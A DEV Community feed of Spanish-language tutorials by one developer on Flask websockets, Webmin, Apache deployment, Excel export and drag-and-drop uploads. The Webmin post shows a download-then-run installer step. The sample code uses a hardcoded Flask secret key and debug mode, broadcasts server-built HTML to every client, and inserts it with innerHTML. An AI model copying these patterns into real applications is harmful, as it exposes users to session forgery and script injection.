DEV Community: Hermann Pollack (hpollack95)

Usando Websocket IO, con Flask y Javascript.

Hermann Pollack (hpollack95) — Fri, 08 Aug 2025 20:35:20 +0000

Uno de los aspectos de los Sistemas Web que empezaron a masificarse, fueron las notificaciones en "tiempo real". Esto y más la necesidad de contar con la información, lo más pronto posible, hicieron que los desarrolladores crearan e implementaran herramientas para tal fin. Tal es el caso de los Web Socket, que permiten, mostrar salidas de información en el momento en que esta es procesada.

La tecnología de Sockets no es nueva. Es la base de los chats en tiempo real, desde la época de ICQ incluso. Las redes sociales como Facebook y X, las usan hace mucho tiempo, dentro de sus plataformas web. En el caso que nos compete, un WebSocket funciona de la misma manera, pero bajo un socket único con protocolo TCP, que nos permite una comunicación bidireccional y full-duplex, permitiendo poder tener información en tiempo real de cualquier actividad.

En Flask, micro framework de Python para Web, que he estado usando (y aprendiendo), hice una pequeña prueba con notificaciones toast, las cuáles, al realizar una acción que amerite una, se desplegara apenas esté ejecutada la tarea. Los pasos para implementarlo fueron los siguientes.

Instalación de WebSocket IO.

Esta se realiza tanto en el backend como en el front.

Dentro del directorio de la aplicación, se añade desde el gestor de paquetes pip, lo siguiente.

pip install flask-socketio

Esto instalará los archivos necesarios para activar el socket.

En la vista debe ir la librería socketio, la cual llamaré con su correspondiente CDN

<script src="https://cdn.socket.io/4.6.1/socket.io.min.js"></script>

Ambas librerías son necesarias para la comunicación efectiva entre cliente-servidor.

Como he estado desarrollando una aplicación, la integré en esta de la siguiente manera. Por ejemplo. poseo un archivo Utils.py con funciones que reutilizo dentro del código principal. Importo la librería en este.

from flask_socketio import SocketIO

# creo la instancia del web socket
socketio = SocketIO()

Con esto ya podemos implementarlo en nuestro backend.

Implementación.

Backend: Python Flask.

En el controlador, se creará una instancia que notifique.

Controlador con su correspondiente ruta.

from models import documentosModel, usuarioModel
from utils import Utils 

@docu.route('/notificardocu', methods = ['POST'])
def notificar_docu():
    response = {}

    if request.method == 'POST':
        req = request.get_json()
        usuario = req.get('usuario')
        empresa = req.get('empresa')
        tipo = req.get('tipodocu')
        idocu = req.get('id')
        resp = notificar_docu_aut(usuario, empresa, tipo, idocu)

        if resp == 1:
            response = {'resp' : 1, 'msg' : 'Notificacion enviada exitosamente'}
        else:
            response = {'resp' : 0, 'msg' : 'Ocurrio un error al enviar la notificacion'}

# Logica de negocio para notificaciones automaticas.
def notificar_docu_aut(usuario, empresa, tipo, idocu):
    fecha = Utils.fecha_actual()
    hora  = Utils.hora_actual()
    tipodocumento = documentosModel.get_tipo_documento_id(tipo)
    docu = documentosModel.get_detalle_docu(idocu, empresa, tipo)
    titulo = f"Notificación de  {str(tipodocumento[1])} N°  {str(docu[0])}" 
    cuerpo = f'''<p>Se ha creado una  {str(tipodocumento[1])}  Número {Utils.lpad(str(docu[0]), 5)} </p> 
    <p>
        <ol>
            <li>Creado por: {str(session['usuario'][2])}</li>
            <li>Valor Total + IVA: {str(docu[1])} </li>
        </ol>
    </p>        
    '''
    estado = 'N'
    resp = usuarioModel.set_notificacion(usuario, empresa, fecha, hora, titulo,cuerpo, estado)

    if resp == 1:
        Utils.socketio.emit('notificacion_toast', {'msg' : cuerpo})
        return 1
    else:
        return 0

Explicación:

En este controlador tengo dos funciones. La que se comunica con la vista enviando un response y la función que crea la notificación. En esta última, si la respuesta es positiva (valor 1), invocaremos al socket implementado en Utils.socketio.emit() con la clave 'notificacion_toast' y cuyo valor es el JSON generado con HTML para la notificación.

También debemos hacer una modificación en el archivo principal.

from flask import Flask
from utils import Utils # Incluimos la librería
from controllers import init_controllers

app = Flask(__name__, static_folder='static')
app.secret_key = 'holamundo'

init_controllers(app)
# Llamamos a socketio que será quien inicialize la aplicación
Utils.socketio.init_app(app)

if __name__ == '__main__':
    Utils.socketio.run(app, debug=True)

Aquí hacemos los siguientes cambios.

Importamos la librería Utils para traer la instancia de socketio
Modificamos el inicializador. Para esto, usamos Utils.socketio.init_app() y reemplazamos app.run() por Utils.socketio.run(). Con esto, el WebSocket queda habilitado.

Frontend: Javascript.

En el Javascript de la vista, creamos el toast y lo cargamos con lo que viene desde el backend.

Como a mí me gusta separar código, la función para crear el toast, lo utilizo en un archivo de funciones útiles.

// Funcion para crear HTML de notificacion toast. El parámetro es el mensaje a desplegar.
function toastNotificacion(mensaje) {
    const toastContainer = document.querySelector('#toast-notif')
    const toast = document.createElement('div')
    toast.className = 'toast align-items-center bg-white border-0 show';
    toast.ariaLive = 'assertive'
    toast.ariaAtomic = true
    toast.role = 'alert'
    toast.innerHTML = `
        <div class="toast-header">
            <strong class="me-auto">Notificacion</strong>
            <button type="button" class="btn-close" data-bs-dismiss="toast" aria-label="Close"></button>
        </div>
        <div class="d-flex">
            <div class="toast-body">${mensaje}</div>
            <button type="button" class="btn-close btn-close-white me-2 m-auto" data-bs-dismiss="toast"></button>
        </div>`
    toastContainer.appendChild(toast)

    setTimeout(() => {
        toast.remove()
    }, 5000)    
}

En el archivo principal main.js agregamos lo siguiente.

// llamamos a la instancia de socket.io.min.js
const socket = io() 

// Funcion para probar si esta conectado.
 socket.on('connect', () => {
        console.log('Conectado')
})

// implementamos la llamada a la funcion creada y le pasamos el mensaje.
socket.on('notificacion_toast', (data) => {
        toastNotificacion(data.msg)
})

El método on() del socket, "abre" la conexión hacia el backend, recibiendo la data en JSON, la cual se entregará a la vista. Con el socket ya abierto, la notificación aparecerá a quien esté dirigida, en el mismo instante en que se ha creado dicha notificación.

El resultado lo pueden ver aquí.

Terminando.

Los Web Socket son útiles si quieres enviar información en tiempo real. Pueden hacerse desde llamados a notificaciones, como a seguimiento en tiempo real de gráficos y otras informaciones que se irán generando. Con este ejemplo básico, quise mostrar esta herramienta potente que sirve mucho para dinamizar nuestras aplicaciones web, dándoles un toque moderno, con algo que, si bien ya existía, no todos la implementan. Nos vemos en otro post.

Administrador Web de Servidores Webmin: Concepto e instalación.

Hermann Pollack (hpollack95) — Sat, 19 Jul 2025 21:00:06 +0000

Mucho de trabajo en el área de la informática, tiene que ver con la administración de servidores. Como desarrollador, no nos es ajeno, que debemos conocer los ambientes en que se despliegan las aplicaciones a los cuales se accede, por lo general, desde la consola de comandos. Y en un mundo gráfico como el de hoy, no siempre es suficiente. (pero si esencial).

Sin embargo, a veces por necesidad y celeridad en algunas cosas, es más factible hacerlo de forma gráfica. Existen en el mercado, herramientas que permiten la administración de dichas máquinas de esta forma, normalmente usando tecnología web. De estas, la primera que conocí es Webmin, una herramienta escrita en Perl, que permite monitorear y administrar de forma gráfica, todo el aspecto del servidor de forma muy completa y amigable.

Breve historia.

En el año 1997, Jamie Cameron lanzó este desarrollo con la finalidad de simplificar la administración de sistemas Linux y otros de Tipo Unix, orientado principalmente a gente que posee conocimientos de Linux, más no estaban entrenados plenamente en la administración. Rápidamente fue adoptado por la comunidad, debido a las múltiples herramientas que posee y que alivió en gran medida, el trabajo de muchos.

Posee herramientas y funcionalidades, que permiten levantar rápidamente, servidores Web, motores de Bases de datos, reglas de usuarios, entre otras funcionalidades. Tiene una comunidad muy activa en su versionado. Hoy incluso posee una interfaz web responsiva, que permite poder trabajar incluso desde aparatos móviles.

Instalación.

El proceso de instalación es muy simple. En la web oficial, encontrarán este apartado, donde estan las instrucciones, que, de igual manera, dejaré aquí.

En la consola, con privilegios de super usuario, colocamos lo siguiente.

curl -o webmin-setup-repo.sh https://raw.githubusercontent.com/webmin/webmin/master/webmin-setup-repo.sh
sh webmin-setup-repo.sh

Este comando, descarga un script que realiza la descarga de la última versión estable del proyecto. Dependiendo de que versión de Linux o BSD estén ocupando, se ejecuta el comando de instalación.

# Ubuntu Debian
apt install webmin
# CentOS Rocky RedHat
dnf install webmin

Una vez instalado, podemos acceder por la dirección de nuestra máquina, de la siguiente forma: https://<tu_direccion_web_o_IP:10000.

Al acceder por primera vez, encontraremos la pantalla de login. Las credenciales son las mismas del sistema operativo.

Nota: existen tambien usuarios propios de webmin, que puede ser creados a partir de dichas cuentas o viceversa: crear usuarios webmin y transformalos en usuarios del S.O. Además de poder administrar privilegios tanto de la plataforma como del sistema operativo.

Interfaz de administración.

En la imagen, podemos ver el dashboard de administración, en la barra principal, podemos ver:

Webmin: aquí encontramos las configuraciones y controles de Webmin, entre ellas, la creación de usuarios, el cambio de lenguaje y tema (apariencia), la configuración general, etc.
System: acá vemos lo relacionado con la configuración misma de la máquina y el S.O, tal como la administración de usuarios y grupos Linux-Unix, el sistema de archivos, rotación de logs, tareas del cron, etc.
Servers: Aquí se administran los servidores instalados, como el servidor web, el motor de base de datos, servidor de nombres de dominio, de correo, etc. Todo con formularios de administración para las configuraciones, además de editores de texto, si queremos hacerlo manual.
Tools: todo el apartado de herramientas y opciones de administración, como el de archivos, comandos hasta una consola embebida (de hecho, tiene una que se despliega sobre la interfaz). Muy útil si necesitas rapidez a la hora de realizar tareas.
Networking: Acá encontramos herramientas de monitoreo de red, donde podemos administrar los cortafuegos, monitores de ~~bando de ancha~~ ancho de banda etc.
Hardware: Herramientas de administración de impresoras, la fecha y hora del sistema y las particiones del disco.
Cluster: Webmin puede crear y administrar clúster de servidores de manera sencilla, en este apartado, si lo que quieres es armar algo más grande.
Unused Modules: Webmin registra los módulos que no están siendo utilizados y que, desde este apartado y de ser necesario, puedes instalar.

En la parte central, en su index, nos muestra de forma gráfica, el estado en tiempo real de la máquina (Memoria, CPU, Uso de Disco, etc). Además de información de últimos accesos, estado de la red y el uso de disco.

Consola integrada.

Webmin trae un acceso a la consola de forma integrada, la cual, en las últimas versiones, permite emular perfectamente, la funcionalidad completa de la misma. En la barra lateral, al presionar el ícono de la consola, se desplegará cubriendo la pantalla de administración.

Esta no es la única consola. En el apartado Tools, podemos desplegar la opción opción terminal, que nos llevara a una pantalla con la consola integrada en el sistema.

Editor interno.

Cuando necesitemos modificar archivos de manera rápida, podemos acceder a un editor interno, integrado en el File Manager. Para ello, navegamos por él, al directorio y archivo que queremos modificar, click derecho y elegir Edit y se abrira en una ventana modal.

Nota: también en algunas opciones del sistema, como la configuración de apache, trae editores integrados que se despliega dentro de la plataforma invocando el archivo de configuración. Esto, si no queremos usar los formularios.

Apreciación General.

Webmin es una excelente herramienta, aunque no la única. Existen varias enfocadas a aspectos más globales como Free Ipa, que centraliza la administración de usuarios y máquinas, si hablamos de una infraestructura más grande, pero más cercana a Webmin, esta Cookpit, el cual es una interfaz liviana y plugins que puedes añadir. Sin embargo, Webmin la supera con creces, porque centraliza toda la administración en una sola interfaz.

Existe, además, dos plataformas anexas que se integran con Webmin: Virtualmin, que sirve para "Virtualizar" servidores, dando herramientas adicionales para manejar de mejor manera, dominios, cuotas de recursos etc. y Usermin que es una interfaz orientada al usuario, con casillas de correo, configuraciones entre otras, sin necesidad de acceder al sistema completo.

De mi parte, cuando conocí esta herramienta, hace ya más de una década, pude aprender mejor el tema de administración de sistemas. A veces, de forma gráfica no solo trabajas mejor, si no que aprendes mejor. Eso sí, la consola siempre será más poderosa y nunca está demás, aprender comandos, especialmente si administras sistemas. Por lo pronto, les dejo esta herramienta que seguro, les servirá.

Pasos para desplegar aplicacion Flask con mod_wsgi y Apache.

Hermann Pollack (hpollack95) — Thu, 10 Jul 2025 20:46:32 +0000

Apache es el servidor web por excelencia, para desplegar aplicaciones y paginas web. Sin embargo, su funcionamiento en otros stacks, como por ejemplo Python Flask, se comporta bastante diferente. Sin embargo, existen varias formas de usarlo y las útil que encontré, que no requiere demasiadas configuraciones, es usar el módulo WSGI que este servidor posee, lo que permite conectar la aplicación desde donde esté ubicada e interpretarla para que sea usable en producción (y también desarrollo).

Ambiente.

Requerimientos.

Sistema Operativo: Ubuntu 24
Version de Apache: 2.4.58-1ubuntu8.6
Versión de Flask: 3.1.1
Base de Datos: PostgreSQL 16.9
Ruta de la aplicación: /home/user/flask

Configuración.

Vamos a preparar el entorno para habilitar Apache. Para esto, requerimos instalar lo siguiente.

En primer lugar, hay que instalar mod_wsgi en el ambiente. Esto debe hacerse con el entorno virtual activado (Despues se desactiva, ya que apache tomara el mando y desplegará la aplicación).

# Activa el entorno virtual
source venv/bin/activate
# Descargar paquete mod_wsgi
pip install mod_wsgi
# Desactivar el entorno virtual
deactivate

Lo siguiente es instalar el paquete mod_wsgi en Apache y habilitarlo

sudo apt install libapache2-mod-wsgi-py3
# Habilitar 
sudo a2enmod wsgi
# Reiniciar apache
sudo systemctl restart apache2
# Verificar
apache2ctl -M | grep wsgi
# La salida debe ser algo como esto
 wsgi_module (shared)

El próximo paso, es crear el archivo app.wsgi, dentro del directorio donde se encuentra la aplicación (/home/user/flask) que será el que apache utilizará para conectar con la aplicación.

vim app.wsgi

El archivo debe llevar lo siguiente.

import sys
sys.path.insert(0,'/home/user/flask') # Aqui va la ruta de la aplicacion
from flaskapp import app as application # El nombre de la aplicacion, debe coincidir con el de la app.py, en este caso flaskapp.py

Lo siguiente es crear el VirtualHost en la configuración de Apache. Dependiendo de la distribución, se encuentra en distintos lugares. En el caso de Ubuntu, por lo general está en /etc/apache2/site-avalaibles/. Debe llevar lo siguiente.

sudo vim /etc/apache2/sites-available/flask.conf

<VirtualHost *:5000>
    ServerAdmin webmaster@localhost

    WSGIDaemonProcess flaskapp user=user group=www-data threads=5 python-home=/home/user/flaskapp/venv
    WSGIScriptAlias / /home/user/flaskapp/flaskapp.wsgi
    WSGIProcessGroup flaskapp

    <Directory /home/user/flaskapp>
        Require all granted
    </Directory>

    Alias /static/ /home/user/flaskapp/static/
    <Directory /home/user/flaskapp/static/>
        Require all granted
    </Directory>

    ErrorLog ${APACHE_LOG_DIR}/flaskapp-error.log
    CustomLog ${APACHE_LOG_DIR}/flaskapp-access.log combined
</VirtualHost>

Este archivo contiene lo siguiente:

En encabezado, Virtualhost *:5000 que habilita el puerto 5000, aunque puede ser cualquiera que deseen utilizar. Se debe comprobar si el puerto objetivo esta abierto para escuchas con netstat o ss.

# Net stats
sudo netstats -tulnp|grep *:5000 # Puede ser cualquier otro puerto
# SS
sudo ss -tulnp|grep *:5000

En WSGIDaemonProcess, se debe agregar lo siguiente.

el nombre de la aplicación, en este caso flaskapp
el usuario dueño del directorio.
el grupo al que pertenece, en este caso debe ser si o si www-data
en la ruta python-home, se agrega la ruta donde se encuentra la aplicación. Debe apuntar al directorio venv que es el que activa el entorno virtual y guarda las dependencias.

En WSGIScriptAlias, apuntamos a la ruta de nuestra app.wsgi, que es el puente entre Apache y la aplicación.

Por ultimo en Alias, se apunta al directorio static, el cual almacena los archivos estáticos como imágenes, hojas de estilo y scripts de Javascript que la web utiliza.

Una vez realizado esto, se deba aplicar el comando a2ensite flaskapp, para que agregue el nuevo archivo .conf se vuelve a reiniciar Apache, para que tome los cambios.

Se debe asegurar que el puerto sea escuchado. Para eso, abrimos /etc/apache2/ports.conf y agregamos la siguiente línea

Listen 5000

Se agrega la aplicacion.

# Añade la aplicacion al entorno de apache
sudo a2ensite flaskapp

Ahora, hay que considerar los permisos del directorio. Si están trabajando con git, pueden tener ciertas dificultades, si el usuario que administra el control de versiones no es el duelo del directorio. Lo mejor en este caso, es agregarlo al grupo www-data.

# Se agrega 
sudo chown -R hpollack:www-data /home/user/pyerp
# Se dan permisos de lectura y ejecucion
sudo chmod -R 755 /home/user/flaskapp

Por último, se recarga Apache.

sudo systemctl reload apache2

Con esto, ya estamos listos para el despliegue, salvo una cosa.

Normalmente, Apache, toma en consideración la ruta absoluta de los archivos, por lo que es imperativo, realizar ciertos cambios en la configuración misma de la aplicación. En este caso, la aplicación tiene dos archivos que hacen función de eso: config.ini y config.py. En este últimos nos centraremos.

Para empezar, la configuración básica es la siguiente. Definimos en el .ini, los parámetros que serán llamados:

# En este archivo, se agregan los parámetros. Pueden ser varios, los cuales se pueden llamar en constantes dentro de cualquier otro archivo de la aplicacion.
[postgresql]
HOSTNAME = localhost
PORT = 5432
USERNAME = usuario
PASSWORD = clave
DATABASE = basededatos

Luego tenemos el .py que lo llama.

from configparser import ConfigParser

def DBconfig(filename='config.ini', section='postgresql'):
    parser = ConfigParser()
    parser.read(filename)
    db = {}

    if section in parser:
        for key in parser[section]:
            db[key.upper()] = parser[section][key]
    else:
        raise Exception(f'La seccion {section} no existe en el archivo {filename}')
    return db 

if __name__ == '__main__':
    DBconfig()

La función de este ultimo archivo, es llamar a config.ini y cargar dentro de la aplicación, los parámetros que son leídos por cada sección. Normalmente, se escribe como en el ejemplo de arriba, pero Apache puede que no encuentre la ruta y vaya hacia otro lado.

Para asegurar que eso no pase, se agrega lo siguiente

def get_path(filename):
    return os.path.join(os.path.dirname(__file__), filename)

Esta función, nos trae la ruta absoluta, donde se encuentra el archivo config.ini, lo que hará que Apache lo encuentre sin problemas. El archivo entonces quedará asi.

import os # importamos las funcionalidades que usa el sistema operativo.
from configparser import ConfigParser

# Generamos la ruta absoluta, basada en la del directorio de la aplicacion
def get_path(filename):
   return os.path.join(os.path.dirname(__file__), filename)

def DBconfig(filename='config.ini', section='postgresql'):
   parser = ConfigParser()
   # aqui llamamos a la funcion que trae la ruta.
   parser.read(get_path(filename))

   db = {}
   if section in parser:
       for key in parser[section]:
           db[key.upper()] = parser[section][key]
   else:
       raise Exception(f'La seccion {section} no existe en el archivo {filename}')
   return db

Actualización.

En algunas ocasiones, Apache bloquea por defecto el despliegue dándonos un error 403, por lo que es necesario, aplicar el siguiente cambio

chmod o+x /home
chmod o+x /home/user

Esto nos permitirá que Apache pueda "explorar" dentro del directorio donde se encuentra la aplicación y permitir su salida, por el puerto asignado. Una vez realizado, solo se aplica systemctl restart apache2 y la aplicación se desplegará.

Consideraciones finales.

Este ejemplo, se hizo en un ambiente de desarrollo. Para desplegar en producción, hay otros detalles adicionales que se deben considerar. Aun así está configuración mínima, permite desplegar una aplicación, rápidamente y con mayor eficiencia.

Existen otras herramientas como gunicorn, que realiza la misma función, pero en este post, quise dar un ejemplo de algo que ya existe y que además, es el más masivo en su uso.

Espero que les sirva. Saludos.

Exportar a excel con ExcelJS y Vanilla Datatables

Hermann Pollack (hpollack95) — Sat, 05 Jul 2025 05:01:24 +0000

He ido poco a poco, deshaciéndome de dependencias de JQuery. En vez de Jquery Datatables, uso la versión Vanilla Datatables, la que, lamentablemente, no trae módulo para exportar a Excel por defecto. Por esa razón, buscando en Internet, di con SheetJS, una herramienta en Javascript, que permite exportar, de manera simple, reportes en este formato. Les explicaré como se usa a continuación.

Ambiente.

Usare una aplicación en flask, pero como es solo front end, omitiré las llamadas a datos desde el model y nos centraremos en la vista.

HTML.

en la sección de scripts agregamos los siguientes CDN

<!-- Vanilla Datatables  -->
<script src="https://unpkg.com/vanilla-datatables@latest/dist/vanilla-dataTables.min.js" type="text/javascript"></script>
<!-- SheetJS  -->
<script src="https://cdn.jsdelivr.net/gh/SheetJS/sheetjs@0.17.0/dist/xlsx.full.min.js"></script>

En la vista, tengo esta tabla.

<div class="table-responsive">
    <table class="table table-bordered table-striped table-light" id="listadocu">
        <thead>
            <tr>
                <th>#</th>
                <th>N&deg; Documento</th>
                <th data-type="date" date-format="DD-MM-YYYY">Fecha</th>
                <th>Receptor</th>
                <th>Total Neto</th>
                <th>IVA</th>
                <th>Total Documento</th>
                <th>Estado</th>
                <th>Acciones</th>
            </tr>
        </thead>
        <tbody>
            {% for fila in documentos %}
                <tr>
                    <td>{{ loop.index }}</td>
                    <td>{{ fila[0] }}</td>
                    <td>{{ fila[1] }}</td>
                    <td>
                        <small>
                            <span class="fs-9"><b>{{ fila[2] }}</b></span> -
                            <span class="fs-9">{{ fila[3] }}</span> -
                            <span class="fs-9">{{ fila[4] }}</span>
                        </small>
                    </td>
                    <td>$ {{ fila[5] }}</td>
                    <td>$ {{ fila[6] }}</td>
                    <td><b>$ {{ fila[7] }}</b></td>
                    <td>
                        {% if fila[9] == 'Pendiente' %}
                            <span class="badge bg-secondary">Pendiente</span>
                        {% elif fila[9] == 'Nulo' %}
                            <span class="badge bg-danger">Anulado</span>
                        {% else %}
                            <span class="badge bg-success">Aprobado</span>
                        {% endif %}
                    </td>
                    <td>
                        <button type="button" class="btn btn-primary btn-sm dropdown-toggle" id="opciones" data-bs-toggle="dropdown" aria-expanded="false">
                            <i class="fa fa-gear"></i>
                        </button>
                        <ul class="dropdown-menu" aria-labelledby="opciones">
                            <li>
                                <button type="button" class="btn btn-link btn-block dropdown-item notif" data-bs-toggle="modal" data-bs-target="#form_notificacion" data-empresa="{{ session.usuario[5] }}" data-id="{{ fila[8] }}" data-tipo="{{ tipo }}">
                                    <i class="fa fa-bell text-success"></i> Notificar
                                </button>
                            </li>
                            <li>
                                <button type="button" class="btn btn-link btn-block dropdown-item mdocu" data-bs-toggle="modal" data-bs-target="#verdocu" data-id="{{ fila[8] }}" data-tipo="{{ tipo }}" data-empresa="{{ session.usuario[5] }}">
                                    <i class="fa fa-eye text-warning"></i> Ver Documento
                                </button>
                            </li>
                            <li>
                                <button type="button" class="btn btn-link w-100 dropdown-item download" data-id="{{ fila[8] }}" data-tipo="{{ tipo }}" data-empresa="{{ session.usuario[5] }}">
                                    <i class="fa fa-file-pdf-o text-danger"></i> Descargar PDF
                                </button>
                            </li>
                            {% if fila[9] == 'Pendiente' %}
                                <li>
                                    <button type="button" class="btn btn-link dropdown-item aprob" data-id="{{ fila[8] }}"  data-tipo="{{ tipo }}" data-numdocu="{{ fila[0] }}" data-estado="A">
                                        <i class="fa fa-check text-success"></i> Aprobar
                                    </button>
                                </li>
                                <li>
                                    <button type="button" class="btn btn-link dropdown-item anul" data-id="{{ fila[8] }}"  data-tipo="{{ tipo }}" data-numdocu="{{ fila[0] }}" data-estado="N">
                                        <i class="fa fa-times text-danger"></i> Anular
                                    </button>
                                </li>
                            {% endif %}
                            {% if fila[9] == 'Aprobado' %}
                                <li>
                                    <button type="button" class="btn btn-link dropdown-item otro" data-id="{{ fila[8] }}" data-tipo="{{ tipo }}"><i class="fa fa-plus text-primary"></i> Cargar en nuevo documento</button>
                                </li>
                            {% endif %}                                                       
                        </ul>
                    </td>
                </tr>
            {% endfor %}                                        
        </tbody>
    </table>
</div>

Fuera de la tabla (arriba o abajo, según deseen), añadiremos un botón.

<button type="button" class="btn btn-success mt-4" id="completo"><i class="fa fa-file-excel-o"></i> Exportar</button>

Javascript

En el documento JS que se llamara listadocumentos.js, colocaremos lo siguiente.

// Renderizamos la tabla 
const tabla = new DataTable('#listadocu', {
    labels: {
        placeholder: 'Buscar...',
        perPage: '{select} registros por página',
        noRows: 'No se encontraron registros',
        info: 'Mostrando {start} a {end} de {rows} registros',
    }
})

// Creamos el evento del boton. 
 document.querySelector('#completo').addEventListener('click', function () { 
    tabla.perPage = 9999
    tabla.update()
    setTimeout(() => {
        const datos = tabla.data
        let encabezados = Array.from(document.querySelectorAll('#listadocu thead th')).map(th => th.textContent.trim())
        encabezados = encabezados.slice(0, encabezados.length - 2)
        const filas = datos.map(filas => {
            const celdas = Array.from(filas.querySelectorAll('td')).map(fila => fila.textContent.trim())
            return celdas.slice(0, celdas.length - 2)
        })
        const todos = [encabezados, ...filas]
        const hoja = XLSX.utils.aoa_to_sheet(todos)

        const anchoColumnas = encabezados.map((enc, i) => {
            const anchoMaximo = Math.max(...filas.map(fila => (fila[i] ? fila[i].length : 0)))
            return Math.max(enc.length, anchoMaximo)
        })

        hoja['!cols'] = anchoColumnas.map(ancho => ({wch : ancho + 2}))

        const libro = XLSX.utils.book_new()
        XLSX.utils.book_append_sheet(libro, hoja, 'Datos')
        XLSX.writeFile(libro, 'documentos.xlsx')
    }, 100)
})

Explicación.

La constante const tabla = new DataTable(), llama a la librería de Vanilla Datatables y la renderiza, con los valores por defecto. Esto es, con un paginado seleccionable de 10 filas mínimo. Tomemos esto último en consideración, ya que el script, exportará todos los datos cargados en el front.

tabla.perPage = 9999
tabla.update()

Estos dos métodos de Vanilla Datatables, nos permiten re-renderizar la tabla. la propiedad tabla.perPage nos permite definir la cantidad de filas a mostrar, en este caso con el valor 9999, las trae todas. Por otra parte, tabla.update() actualiza los valores de la tabla con la propiedad entregada. Esto no se refleja en el front, ya que es para exportar el Excel.

Ahora, dentro del evento setTimeOut(), que usaremos para darle tiempo a Datatables, de volver a renderizar, definimos lo siguiente:


// extrae la información de la tabla-
const datos = tabla.data
// Mapea encabezados y guarda en array
let encabezados = Array.from(document.querySelectorAll('#listadocu thead th')).map(th => th.textContent.trim())

// Mapea las filas de datos
const filas = datos.map(filas => {
    const celdas = Array.from(filas.querySelectorAll('td')).map(fila => fila.textContent.trim())
    return celdas.slice(0, celdas.length - 1)
})

La constante datos extrae la información de la tabla usando la propiedad tabla.data. La variable encabezado mapea los encabezados de la tabla en un array.

Por último filas mapea los datos de la tabla. Aquí se ve una característica adicional. Como no se quiere, la columna con el botón de opciones, se declara la constante celdas, la cual guardará los datos en el array correspondiente y se devolverán sin la columna final.

Lo siguiente es definir el libro y la hoja

const todos = [encabezados, ...filas]
const hoja = XLSX.utils.aoa_to_sheet(todos)

// Definimos el ancho de las columnas
const anchoColumnas = encabezados.map((enc, i) => {
    const anchoMaximo = Math.max(...filas.map(fila => (fila[i] ? fila[i].length : 0)))
    return Math.max(enc.length, anchoMaximo)
})


hoja['!cols'] = anchoColumnas.map(ancho => ({wch : ancho + 2}))

// Se crea el libro, donde iran los datos, en la hoja del mismo nombre
const libro = XLSX.utils.book_new()
XLSX.utils.book_append_sheet(libro, hoja, 'Datos')
// Exporta el excel
XLSX.writeFile(libro, 'documentos.xlsx')

En todos, creamos un array, donde iran por separado, los encabezados y los datos. con anchorColumnas, definimos el ancho de las columnas, adaptados a la extensión del texto de cada encabezado, calculando el largo del texto, el cual se mapea, dándole el ancho + 2 espacios adicionales.

Finalmente llamamos al objeto XLSX el cual crea el libro y la hoja definida con sus propiedades y escribe la información.

El resultado, se puede observar en el siguiente video.

Terminando.

SheetJS es una buena herramienta si quieres conseguir resultados rápidos para reportes, especialmente desde el Front, lo que hace que la carga hacia el servidor sea menor.

Tiene más herramientas, pero hay que seguir averiguando. Nos vemos en otra.

Creando un drag and drop con javascript y css y algo de python.

Hermann Pollack (hpollack95) — Fri, 27 Jun 2025 21:43:05 +0000

Las aplicaciones web han evolucionado tanto que hoy no solo tenemos, herramientas y frameworks e distintos lenguajes, si no que además, se han hecho mas amigables con el usuario, si lo comparamos como era en los 2000.

Pues bien, una herramienta útil, es el "arrastrar y soltar". Este concepto no es nuevo, y han existido librerías Javascript para crear el efecto. Sin embargo, desde las especificaciones de Ecmascript 6, el usar Javascript puro (Vanilla Javascript para los conocedores), no solo se ha vuelto más fácil, si no que no necesitas depender de extensiones o librerías externas, como lo fue por ejemplo JQuery.

Como ejemplo, usaré un proyecto personal que he estado desarrollando este tiempo. Sin embargo, el concepto en general, se puede aplicar a cualquier aplicación web que estén desarrollando.

Estructura base.

HTML.

Vamos a crear el campo donde arrastraremos el archivo, en este caso, la imagen.

 <div class="drop-zone" id="fotoperfil">
    <span class="fa fa-upload"> Arrastre la foto o haga click para seleccionar archivos</span>
</div>
<input type="file" name="imagen" id="imagen" class="form-control">

El código de arriba, crea un <div> con la clase .drop-zone y el id fotoperfil, que es la que manejará el evento de arastre. Fuera de este, colocaremos el <input> con la propiedad file, el cual tendra el id imagen. Teniendo definido esto, le damos estilo con CSS.

En la zona donde se verá la imagen una vez cargada, al ser Flask, nuestro backend, usamos el motor Jinja2, para renderizar. Esto debe quedar asi

<div class="card-body profile-card pt-4 d-flex flex-column align-items-center">
    {% for user in datausuario %}
    <!-- Aquí validamos si existe la url de la imagen. Si es el caso, se muestra  -->
        {% if user[13] %}
            <img src="{{ url_for('static', filename='img/profile/' ~ user[13]) }}" alt="Profile" class="rounded-5 img-fluid profile-image">
        {% else %}
            <img src="{{ url_for('static', filename='img/profile/avatar.png') }}" alt="Profile" class="rounded-5 img-fluid">
        {% endif %}

        <h2>{{ user[1] }} {{ user[2] }}</h2>
        <h3>{{ user[3] }} </h3>
        {% if user[13]  %}                        
            <button type="button" class="btn btn-danger mb-4" id="quitaimagen"><i class="fa fa-times"></i>  Eliminar imagen</button>
        {% endif %}
        <button type="button" class="btn btn-primary" data-bs-toggle="modal" data-bs-target="#nuevaimagen"><i class="fa fa-upload"></i>  Cargar Nueva Imagen</button>
    {% endfor %}
</div>

CSS.

Procedemos a darle estilo.

.drop-zone {
    height: 150px;
    border: 2px dashed #aaa;
    border-radius: 10px;
    display: flex;
    align-items: center;
    justify-content: center;
    color: #666;
    cursor: pointer;
    transition: 0.2s;
}

.drop-zone.draggable {
    border-color: #333;
    background-color: #fff;
}

/* Si solo quieres que sea un campo y no todos en el proyecto,
puedes utilizar el id del campo */
input[type="file"] {
    display: none;
}

En .drop-zone definimos el alto que tendrá el campo -el ancho lo dejamos a criterio-. con un borde segmentado de dos pixeles y un color gris. Le añadimos el cursor pointer -👆- para darle la visualización de que el campo es mas grande.

El truco de esto es que ocultamos el campo tipo "file", que es el que recibe la imagen. En este caso, el campo va dentro de un Modal de Bootstrap 5

Javascript.

Ahora, hay que programar el evento. Lo primero es definir los selectores html.

const zonaFoto = document.querySelector('#fotoperfil')
const campoFoto = document.querySelector('#imagen')

Con estas constantes, escogemos #fotoperfil del div de la zona de arrastre vista mas arriba e #imagen, del campo tipo "file".

Lo siguiente es definir la función que tomara los archivos. Esto se puede hacer al final de script.

function tomaArchivos(archivos) {
    const transfer = new DataTransfer()
    for (const archivo of archivos) {
        if (archivo.type.startsWith('image/')) {
            const lector = new FileReader()
            lector.onload = function(e) {
                zonaFoto.style.backgroundImage = `url(${e.target.result})`
                zonaFoto.style.bacgroundSize = 'contain'
                zonaFoto.style.bacgroundPosition = 'center'
                zonaFoto.style.bacgroundRepeat = 'no-repeat'
            }

            lector.readAsDataURL(archivo)
            transfer.items.add(archivo)
        } else {
            alerta(3, 'Solo se permiten imagenes')
        }
    }

